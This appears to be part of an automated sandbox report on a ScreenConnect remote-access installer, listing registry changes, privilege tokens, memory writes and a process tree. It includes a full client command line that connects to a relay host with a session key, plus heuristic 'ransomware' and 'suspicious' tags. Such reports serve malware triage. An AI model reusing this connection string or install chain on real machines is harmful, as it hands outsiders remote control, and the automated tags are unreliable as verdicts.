Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3FE6E40B9F2E2809362DE4F4F5CCAEC3\ProductIcon = "C:\\Windows\\Installer\\{B04E6EF3-E2F9-9082-63D2-4E4F5FCCEA3C}\\DefaultIcon"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
4448	msiexec.exe
4448	msiexec.exe
6072	ScreenConnect.ClientService.exe
6072	ScreenConnect.ClientService.exe
6072	ScreenConnect.ClientService.exe
6072	ScreenConnect.ClientService.exe
6072	ScreenConnect.ClientService.exe
6072	ScreenConnect.ClientService.exe
6072	ScreenConnect.ClientService.exe
6072	ScreenConnect.ClientService.exe
6072	ScreenConnect.ClientService.exe
6072	ScreenConnect.ClientService.exe
3472	msiexec.exe
3472	msiexec.exe
4372	ScreenConnect.ClientService.exe
4372	ScreenConnect.ClientService.exe
4372	ScreenConnect.ClientService.exe
4372	ScreenConnect.ClientService.exe
4372	ScreenConnect.ClientService.exe
4372	ScreenConnect.ClientService.exe
1232	msedge.exe
1232	msedge.exe
3472	msiexec.exe
3472	msiexec.exe
4372	ScreenConnect.ClientService.exe
4372	ScreenConnect.ClientService.exe
4372	ScreenConnect.ClientService.exe
4372	ScreenConnect.ClientService.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
2152	msedge.exe
2152	msedge.exe
2152	msedge.exe
2152	msedge.exe
2152	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3184	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3184	msiexec.exe
Token: SeSecurityPrivilege	4448	msiexec.exe
Token: SeCreateTokenPrivilege	3184	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3184	msiexec.exe
Token: SeLockMemoryPrivilege	3184	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3184	msiexec.exe
Token: SeMachineAccountPrivilege	3184	msiexec.exe
Token: SeTcbPrivilege	3184	msiexec.exe
Token: SeSecurityPrivilege	3184	msiexec.exe
Token: SeTakeOwnershipPrivilege	3184	msiexec.exe
Token: SeLoadDriverPrivilege	3184	msiexec.exe
Token: SeSystemProfilePrivilege	3184	msiexec.exe
Token: SeSystemtimePrivilege	3184	msiexec.exe
Token: SeProfSingleProcessPrivilege	3184	msiexec.exe
Token: SeIncBasePriorityPrivilege	3184	msiexec.exe
Token: SeCreatePagefilePrivilege	3184	msiexec.exe
Token: SeCreatePermanentPrivilege	3184	msiexec.exe
Token: SeBackupPrivilege	3184	msiexec.exe
Token: SeRestorePrivilege	3184	msiexec.exe
Token: SeShutdownPrivilege	3184	msiexec.exe
Token: SeDebugPrivilege	3184	msiexec.exe
Token: SeAuditPrivilege	3184	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3184	msiexec.exe
Token: SeChangeNotifyPrivilege	3184	msiexec.exe
Token: SeRemoteShutdownPrivilege	3184	msiexec.exe
Token: SeUndockPrivilege	3184	msiexec.exe
Token: SeSyncAgentPrivilege	3184	msiexec.exe
Token: SeEnableDelegationPrivilege	3184	msiexec.exe
Token: SeManageVolumePrivilege	3184	msiexec.exe
Token: SeImpersonatePrivilege	3184	msiexec.exe
Token: SeCreateGlobalPrivilege	3184	msiexec.exe
Token: SeCreateTokenPrivilege	3184	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3184	msiexec.exe
Token: SeLockMemoryPrivilege	3184	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3184	msiexec.exe
Token: SeMachineAccountPrivilege	3184	msiexec.exe
Token: SeTcbPrivilege	3184	msiexec.exe
Token: SeSecurityPrivilege	3184	msiexec.exe
Token: SeTakeOwnershipPrivilege	3184	msiexec.exe
Token: SeLoadDriverPrivilege	3184	msiexec.exe
Token: SeSystemProfilePrivilege	3184	msiexec.exe
Token: SeSystemtimePrivilege	3184	msiexec.exe
Token: SeProfSingleProcessPrivilege	3184	msiexec.exe
Token: SeIncBasePriorityPrivilege	3184	msiexec.exe
Token: SeCreatePagefilePrivilege	3184	msiexec.exe
Token: SeCreatePermanentPrivilege	3184	msiexec.exe
Token: SeBackupPrivilege	3184	msiexec.exe
Token: SeRestorePrivilege	3184	msiexec.exe
Token: SeShutdownPrivilege	3184	msiexec.exe
Token: SeDebugPrivilege	3184	msiexec.exe
Token: SeAuditPrivilege	3184	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3184	msiexec.exe
Token: SeChangeNotifyPrivilege	3184	msiexec.exe
Token: SeRemoteShutdownPrivilege	3184	msiexec.exe
Token: SeUndockPrivilege	3184	msiexec.exe
Token: SeSyncAgentPrivilege	3184	msiexec.exe
Token: SeEnableDelegationPrivilege	3184	msiexec.exe
Token: SeManageVolumePrivilege	3184	msiexec.exe
Token: SeImpersonatePrivilege	3184	msiexec.exe
Token: SeCreateGlobalPrivilege	3184	msiexec.exe
Token: SeCreateTokenPrivilege	3184	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3184	msiexec.exe
Token: SeLockMemoryPrivilege	3184	msiexec.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
3184	msiexec.exe
3184	msiexec.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
2152	msedge.exe
2152	msedge.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
2152	msedge.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
1076	ScreenConnect.WindowsClient.exe
1076	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 18 IoCs

pid	Process
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe
4388	ScreenConnect.WindowsClient.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4912	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4448 wrote to memory of 2356	4448	msiexec.exe	88
PID 2356 wrote to memory of 5044	2356	MsiExec.exe	89
PID 2356 wrote to memory of 4036	2356	MsiExec.exe	90
PID 2356 wrote to memory of 1628	2356	MsiExec.exe	91
PID 4448 wrote to memory of 5268	4448	msiexec.exe	102
PID 4448 wrote to memory of 224	4448	msiexec.exe	104
PID 4448 wrote to memory of 3972	4448	msiexec.exe	105
PID 6072 wrote to memory of 4388	6072	ScreenConnect.ClientService.exe	107
PID 6072 wrote to memory of 5360	6072	ScreenConnect.ClientService.exe	108
PID 6072 wrote to memory of 6008	6072	ScreenConnect.ClientService.exe	111
PID 5836 wrote to memory of 2152	5836	msedge.exe	115
PID 2152 wrote to memory of 5284	2152	msedge.exe	116
PID 2152 wrote to memory of 5228	2152	msedge.exe	118
PID 2152 wrote to memory of 1700	2152	msedge.exe	119
PID 2152 wrote to memory of 2068	2152	msedge.exe	120
PID 2152 wrote to memory of 1700	2152	msedge.exe	119
PID 2152 wrote to memory of 2068	2152	msedge.exe	120
PID 2152 wrote to memory of 2068	2152	msedge.exe	120
PID 2152 wrote to memory of 5508	2152	msedge.exe	121
PID 2152 wrote to memory of 5360	2152	msedge.exe	122
PID 2152 wrote to memory of 5508	2152	msedge.exe	121
PID 2152 wrote to memory of 5508	2152	msedge.exe	121
PID 2152 wrote to memory of 5360	2152	msedge.exe	122
PID 2152 wrote to memory of 5360	2152	msedge.exe	122
PID 2152 wrote to memory of 2892	2152	msedge.exe	124
PID 2152 wrote to memory of 2892	2152	msedge.exe	124
PID 2152 wrote to memory of 2892	2152	msedge.exe	124
PID 2152 wrote to memory of 3196	2152	msedge.exe	125
PID 2152 wrote to memory of 3196	2152	msedge.exe	125
PID 2152 wrote to memory of 3196	2152	msedge.exe	125
PID 2152 wrote to memory of 808	2152	msedge.exe	129
PID 2152 wrote to memory of 808	2152	msedge.exe	129
PID 2152 wrote to memory of 3428	2152	msedge.exe	130
PID 2152 wrote to memory of 3428	2152	msedge.exe	130
PID 2152 wrote to memory of 2008	2152	msedge.exe	131
PID 2152 wrote to memory of 2008	2152	msedge.exe	131
PID 2152 wrote to memory of 684	2152	msedge.exe	132
PID 2152 wrote to memory of 684	2152	msedge.exe	132
PID 2152 wrote to memory of 4260	2152	msedge.exe	134
PID 2152 wrote to memory of 5428	2152	msedge.exe	135
PID 2152 wrote to memory of 5428	2152	msedge.exe	135
PID 2152 wrote to memory of 4908	2152	msedge.exe	136
PID 2152 wrote to memory of 4908	2152	msedge.exe	136
PID 2152 wrote to memory of 5044	2152	msedge.exe	137
PID 2152 wrote to memory of 6052	2152	msedge.exe	138
PID 2152 wrote to memory of 5044	2152	msedge.exe	137
PID 2152 wrote to memory of 6052	2152	msedge.exe	138
PID 2152 wrote to memory of 2896	2152	msedge.exe	139
PID 2152 wrote to memory of 2896	2152	msedge.exe	139
PID 6072 wrote to memory of 4356	6072	ScreenConnect.ClientService.exe	141
PID 3472 wrote to memory of 4104	3472	msiexec.exe	143
PID 4104 wrote to memory of 4996	4104	MsiExec.exe	144
PID 4372 wrote to memory of 1076	4372	ScreenConnect.ClientService.exe	146
PID 4372 wrote to memory of 6116	4372	ScreenConnect.ClientService.exe	147
PID 2152 wrote to memory of 3716	2152	msedge.exe	148
PID 2152 wrote to memory of 5520	2152	msedge.exe	149
PID 2152 wrote to memory of 5408	2152	msedge.exe	150
PID 2152 wrote to memory of 1752	2152	msedge.exe	153
PID 2152 wrote to memory of 1752	2152	msedge.exe	153
PID 2152 wrote to memory of 4312	2152	msedge.exe	157
PID 2152 wrote to memory of 4312	2152	msedge.exe	157
PID 2152 wrote to memory of 756	2152	msedge.exe	158
PID 2152 wrote to memory of 756	2152	msedge.exe	158
PID 2152 wrote to memory of 4008	2152	msedge.exe	159

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3184

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4448
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 0CAAA7EC898491B6755F1F4DCE5F44BE C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2356
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI9A0.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240650875 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:5044
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIFFA.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240652437 10 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
    3⤵
    - Badlisted process makes network request
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:4036
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI15C7.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240653812 17 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1628
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:5268
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding FDFAC5E560693921B8220E90AE6516DA
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:224
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 26B2DD0CB70BB2A136DB700B544ABA39 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:3972

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:4548

C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-lo3rlf-relay.screenconnect.com&p=443&s=17d709a8-ec47-41c8-be17-486e9a94f85b&k=BgIAAACkAABSU0ExAAgAAAEAAQBBtO7zqWYsrwok%2fohkNqodSF5Q%2faib2sCUSSGbDYPUh%2fQ59Zk%2f1pe3CYNdSBhN4ljSIugukPXmhgCSKKMgtiFWO5VNaBK5Wd2RQys1h%2fw72na4nSWij71yM5KYcyp7D%2fOsgeT9TZ9F%2bmFClj2dU3g6iIl3rz6LlVoXwSto%2buRo0EAuz%2fWWNyRmIzYKaa7e%2frfTvEPd0ErAk0cLEoxkCIbGXv9avTi0C2hIaeV2d%2ftHvX7evdVpPGn8GvOoj8vs1pFS%2fLD7pZlSZwbkkaTKiHKFUviosLDeQaSu%2bMa7TvtguRxF9MpOLQL%2f3lCAYTjEeJH6D2s1KGYqfu1kJOP7Ny7G"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:6072
- C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.WindowsClient.exe" "RunRole" "fe035ccc-dd31-48ca-81f2-c98ca07d81ce" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:4388
- C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.WindowsClient.exe" "RunRole" "3fc7071f-9790-41ca-ae1d-fbfba8ad5c05" "System"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:5360
- C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (1c754076264d6096)\ScreenConnect.WindowsClient.exe" "RunRole" "9a337db6-fab6-45f0-8fed-44a8bd926636" "System"
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  PID:6008
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Windows\SystemTemp\ScreenConnect\26.4.3.9662\nhold3f5g67leul345ft6hhu0o7hw.ClientSetup.msi"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4356
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Windows\SystemTemp\ScreenConnect\26.4.3.9662\nhold3f5g67leul345ft6hhu0o7hw.ClientSetup.msi"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5716

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\UndoSync.svg
1⤵
- Suspicious use of WriteProcessMemory
PID:5836
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch --single-argument C:\Users\Admin\Desktop\UndoSync.svg
  2⤵
  - Drops file in Windows directory
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x248,0x7ffb32d6c188,0x7ffb32d6c194,0x7ffb32d6c1a0
    3⤵
    PID:5284
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1832,i,1777938809771346527,1990311047697070728,524288 --field-trial-handle=2536,i,5263772827697037746,12419099975144688393,262144 --variations-seed-version --mojo-platform-channel-handle=2608 /prefetch:3
    3⤵
    - System Time Discovery
    PID:5228
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2264,i,4968609135082201324,14700140920189421622,524288 --field-trial-handle=2536,i,5263772827697037746,12419099975144688393,262144 --variations-seed-version --mojo-platform-channel-handle=2616 /prefetch:8
    3⤵
    PID:1700
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1656,i,2074215967740345564,13804907735942812055,262144 --field-trial-handle=2536,i,5263772827697037746,12419099975144688393,262144 --variations-seed-version --mojo-platform-channel-handle=2504 /prefetch:2
    3⤵
    PID:2068
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3464,i,5204110157820523652,10534263063236640957,2097152 --field-trial-handle=2536,i,5263772827697037746,12419099975144688393,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:1
    3⤵
    PID:5508
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3468,i,13286487488974939647,6257405545404976020,2097152 --field-trial-handle=2536,i,5263772827697037746,12419099975144688393,262144 --variations-seed-version --mojo-platform-channel-handle=3552 /prefetch:1
    3⤵
    PID:5360
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4196,i,11725355729541254277,12606546229672154972,2097152 --field-trial-handle=2536,i,5263772827697037746,12419099975144688393,262144 --variations-seed-version --mojo-platform-channel-handle=4200 /prefetch:1
    3⤵
    PID:2892
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4260,i,7532185297837645003,4115042721176536901,2097152 --field-trial-handle=2536,i,5263772827697037746,12419099975144688393,262144 --variations-seed-version --mojo-platform-channel-handle=4236 /prefetch:2
    3⤵
    PID:3196
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5116,i,6363881841439795147,16217917420215667423,524288 --field-trial-handle=2536,i,5263772827697037746,12419099975144688393,262144 --variations-seed-version --mojo-platform-channel-handle=5136 /prefetch:8
    3⤵
    PID:808
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5144,i,5861990237834123607,7849006450526956797,524288 --field-trial-handle=2536,i,5263772827697037746,12419099975144688393,262144 --variations-seed-version --mojo-platform-channel-handle=5268 /prefetch:8
    3⤵
    PID:3428
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5248,i,13986742313448992133,8190007574340156873,524288 --field-trial-handle=2536,i,5263772827697037746,12419099975144688393,262144 --variations-seed-version --mojo-platform-channel-handle=5384 /prefetch:8
    3⤵
    PID:2008
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5256,i,13011344128320834886,9432177804503140033,524288 --field-trial-handle=2536,i,5263772827697037746,12419099975144688393,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:8
    3⤵
    PID:684
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5876,i,2029764964815348728,16203713764148589994,524288 --field-trial-handle=2536,i,5263772827697037746,12419099975144688393,262144 --variations-seed-version --mojo-platform-channel-handle=5892 /prefetch:8
    3⤵
    PID:4124
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5876,i,2029764964815348728,16203713764148589994,524288 --field-trial-handle=2536,i,5263772827697037746,12419099975144688393,262144 --variations-seed-version --mojo-platform-channel-handle=5892 /prefetch:8
    3⤵
    PID:4260
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6040,i,3159584090456605313,6954716968323721249,524288 --field-trial-handle=2536,i,5263772827697037746,12419099975144688393,262144 --variations-seed-version --mojo-platform-channel-handle=6076 /prefetch:8
    3⤵
    PID:5428
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6368,i,11482198728175462096,9044666886676401243,524288 --field-trial-handle=2536,i,5263772827697037746,12419099975144688393,262144 --variations-seed-version --mojo-platform-channel-handle=6232 /prefetch:8
    3⤵
    PID:4908
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6396,i,17226557363000623706,14459080718943467513,524288 --field-trial-handle=2536,i,5263772827697037746,12419099975144688393,262144 --variations-seed-version --mojo-platform-channel-handle=6512 /prefetch:8
    3⤵
    PID:5044
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6484,i,11969887769899148011,18274702571146610720,524288 --field-trial-handle=2536,i,5263772827697037746,12419099975144688393,262144 --variations-seed-version --mojo-platform-channel-handle=6220 /prefetch:8
    3⤵
    PID:6052
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6496,i,10124175489855449574,951269285064951768,524288 --field-trial-handle=2536,i,5263772827697037746,12419099975144688393,262144 --variations-seed-version --mojo-platform-channel-handle=6452 /prefetch:8
    3⤵
    PID:2896
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4236,i,16294678792737685295,16499186919588310691,524288 --field-trial-handle=2536,i,5263772827697037746,12419099975144688393,262144 --variations-seed-version --mojo-platform-channel-handle=4252 /prefetch:8
    3⤵
    PID:3716
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4220,i,2085586189336550853,814488927012156873,524288 --field-trial-handle=2536,i,5263772827697037746,12419099975144688393,262144 --variations-seed-version --mojo-platform-channel-handle=4444 /prefetch:8
    3⤵
    PID:5520
